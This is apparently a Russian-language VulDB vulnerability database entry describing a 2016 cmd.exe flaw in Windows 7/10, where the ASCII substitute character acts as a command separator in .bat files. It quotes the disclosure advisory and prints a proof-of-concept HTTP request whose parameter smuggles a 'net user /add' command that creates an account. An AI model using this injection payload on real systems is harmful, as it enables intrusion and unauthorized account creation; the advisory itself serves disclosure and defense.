Microsoft Windows 7/10 cmd.exe ASCII Substitute Character эскалация привилегий

CVSS Meta Temp ScoreТекущая цена эксплойта (≈)Балл интереса CTI
6.6$0-$5k0.00

СводкаИнформация

Уязвимость была найдена в Microsoft Windows 7/10 и классифицирована как критический. Вовлечена неизвестная функция файла cmd.exe. Манипуляция в рамках ASCII Substitute Character приводит к эскалация привилегий. Есть возможность удалённого запуска атаки. Также существует доступный эксплойт.

ПодробностиИнформация

Уязвимость была найдена в Microsoft Windows 7/10 и классифицирована как критический. Вовлечена неизвестная функция файла cmd.exe. Манипуляция в рамках ASCII Substitute Character приводит к эскалация привилегий. Использование классификатора CWE для обозначения проблемы ведет к CWE-269. Слабость была опубликована 11.11.2016 специалистом Julian Horoszkiewicz под идентификатором Unexpected behavior of cmd.exe while processing .bat files leads to potential command injection vulnerabilities как Mailinglist Post (Full-Disclosure). Консультацию можно прочитать на сайте seclists.org. Публичный релиз произошел без согласования с поставщиком.

Есть возможность удалённого запуска атаки. Техническая информация предоставлена. Популярность этой уязвимости выше среднего. Также существует доступный эксплойт. Эксплойт доступен широкой публике и может быть использован. Сейчас цена на эксплойт приблизительно равна USD $0-$5k. Проект MITRE ATT&CK определяет технику атаки как T1068. В предупреждении говорится:

It was discovered that cmd.exe, when processing .bat files, treats the ASCII substitute character (code 26) as a command separator (like & or |). This opens the way for unexpected command injection vulnerabilities in applications which generate .bat files based on user input, as this character is not filtered by most application input sanitisers against command injection.

Указано значение Доказательство концепции. Эксплойт можно загрузить по адресу seclists.org. В статусе 0-day примерная стоимость на черном рынке была около $25k-$100k. Пример кода эксплойта:

POST /escape_shell_cmd.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101
Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 35

dir=.%1anet user /add hacked hacked

Консультация указывает:
Let's send a request containing "." as a parameter to the hardcoded "dir" command, appended with another command - taking advantage of %1a as a command separator.

ПродуктИнформация

Тип

Поставщик

Имя

Версия

Лицензия

Веб-сайт

CPE 2.3Информация

CPE 2.2Информация

CVSSv4Информация

VulDB Вектор: 🔍
VulDB Надёжность: 🔍

CVSSv3Информация

VulDB Meta Base Score: 7.3
VulDB Meta Temp Score: 6.6

VulDB Базовый балл: 7.3
VulDB Временная оценка: 6.6
VulDB Вектор: 🔍
VulDB Надёжность: 🔍

CVSSv2Информация

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
ВекторСложностьАутентификацияКонфиденциальностьЦелостностьДоступность
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать

VulDB Базовый балл: 🔍
VulDB Временная оценка: 🔍
VulDB Надёжность: 🔍

ЭксплуатацияИнформация

Класс: эскалация привилегий
CWE: CWE-269 / CWE-266
CAPEC: 🔍
ATT&CK: 🔍

Физический: Нет
Локальный: Нет
Удалённый: Да

Доступность: 🔍
Доступ: публичный
Статус: Доказательство концепции
Автор: Julian Horoszkiewicz
Язык программирования: 🔍
Скачать: 🔍
Прогноз цен: 🔍
Оценка текущей цены: 🔍

0-DayРазблокироватьРазблокироватьРазблокироватьРазблокировать
СегодняРазблокироватьРазблокироватьРазблокироватьРазблокировать

Разведка угрозИнформация

Интерес: 🔍
Активные акторы: 🔍
Активные группы APT: 🔍

КонтрмерыИнформация

Рекомендация: о смягчении не известно
Статус: 🔍

0-дневное время: 🔍
Задержка эксплуатации: 🔍

ХронологияИнформация

11.11.2016 🔍
11.11.2016 +0 дни 🔍
14.11.2016 +3 дни 🔍
07.07.2019 +965 дни 🔍

ИсточникиИнформация

Поставщик: microsoft.com
Продукт: microsoft.com

Консультация: Unexpected behavior of cmd.exe while processing .bat files leads to potential command injection vulnerabilities
Исследователь: Julian Horoszkiewicz
Статус: Не определено

GCVE (VulDB): GCVE-100-93602
scip Labs: https://www.scip.ch/en/?labs.20161215

ВходИнформация

Создано: 14.11.2016 09:04
Обновлено: 07.07.2019 18:35
Изменения: 14.11.2016 09:04 (53), 07.07.2019 18:35 (2)
Завершенный: 🔍
Cache ID: 216::103

If you want to get best quality of vulnerability data, you may have to visit VulDB.

Обсуждение

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!